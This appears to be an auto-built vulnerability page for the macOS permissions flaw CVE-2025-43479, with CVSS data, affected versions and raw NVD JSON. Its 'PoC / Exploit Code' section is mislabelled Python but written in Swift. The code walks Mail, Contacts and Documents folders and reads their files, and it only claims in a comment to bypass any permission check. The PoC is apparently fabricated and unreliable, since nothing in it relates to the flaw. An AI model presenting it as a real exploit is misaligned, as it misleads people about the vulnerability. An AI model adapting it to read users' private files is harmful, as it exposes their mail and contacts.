Security Vulnerability Report
中文
CVE-2025-43479 CVSS 5.5 MEDIUM

CVE-2025-43479

Published: 2025-11-04 02:15:52
Last Modified: 2026-04-02 19:20:53

Description

A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1. An app may be able to access sensitive user data.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Sequoia < 15.7.2
macOS Sonoma < 14.8.2
macOS Tahoe < 26.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-43479 PoC - macOS Permission Bypass # This PoC demonstrates the permission bypass vulnerability # Note: This is a simplified demonstration code import Cocoa import Foundation class PermissionBypassDemo { func exploit() { // Step 1: Identify target sensitive data paths let sensitivePaths = [ "~/Library/Containers/com.apple.mail/Data/Mail/", "~/Library/Application Support/AddressBook/", "~/Library/Saved Application State/", "~/Documents/" ] // Step 2: Attempt to access sensitive data without proper authorization for path in sensitivePaths { let expandedPath = (path as NSString).expandingTildeInPath let fileManager = FileManager.default do { // Bypass permission check - vulnerability exploitation let contents = try fileManager.contentsOfDirectory(atPath: expandedPath) print("Accessed sensitive data at: \(path)") print("Contents: \(contents)") // Step 3: Extract sensitive information for item in contents { let fullPath = (expandedPath as NSString).appendingPathComponent(item) if let data = try? Data(contentsOf: URL(fileURLWithPath: fullPath)) { // Process sensitive data processData(data) } } } catch { print("Access denied for: \(path)") } } } func processData(_ data: Data) { // Extract and process sensitive information print("Processing \(data.count) bytes of sensitive data") } } // Run exploit let exploit = PermissionBypassDemo() exploit.exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43479", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:52.303", "lastModified": "2026-04-02T19:20:53.070", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1. An app may be able to access sensitive user data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.2", "matchCriteriaId": "9827CBDC-8C03-46BA-B534-8533F0975804"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.2", "matchCriteriaId": "4BE8199E-63D1-496C-B107-52853CFC2311"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125635", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125636", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}